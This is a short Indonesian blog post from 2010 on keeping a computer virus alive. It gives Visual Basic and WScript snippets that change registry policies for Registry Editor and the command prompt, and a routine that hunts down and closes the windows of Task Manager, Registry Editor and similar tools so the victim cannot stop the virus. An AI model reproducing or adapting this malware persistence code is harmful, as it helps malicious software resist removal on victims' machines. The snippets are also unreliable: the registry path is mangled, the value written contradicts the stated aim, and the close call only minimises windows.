Feb 11, 2010

Mempertahankan existensi virus

Mencoba mematikan proses-proses program yang berpotensi untuk menghentikan proses virus, maupun tools yang dapat menghapus proses virus tersebut :

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableRegistryTools", 0, "REG_DWORD"

WShell.regwrite “HKCU\ \Software\Microsoft\Windows\CurrentVersionPolicies\System\DisableCMD", 0, "REG_DWORD"

Maupun melacak jendela proses-proses musuh, dan menutupnya.

Public Sub KillEnemy()

Dim EnemyProcess(20) As String

Dim i As Integer

EnemyProcess(1) = "Registry Editor"

EnemyProcess(2) = "Windows Task Manager"

EnemyProcess(3) = "Process Viewer"

EnemyProcess(4) = "Open With"

For i = 1 To 4 Step 1

Call KillEnemyWindow(EnemyProcess(i))

Next i

End Sub

Private Sub KillEnemyWindow(target As String)

Dim Enemy_hwnd As Long

Enemy_hwnd = FindWindow(vbNullString, target)

If Not Enemy_hwnd = 0 Then

CloseWindow (Enemy_hwnd)

End If

End Sub

Share this

0 Comment to "Mempertahankan existensi virus"

Post a Comment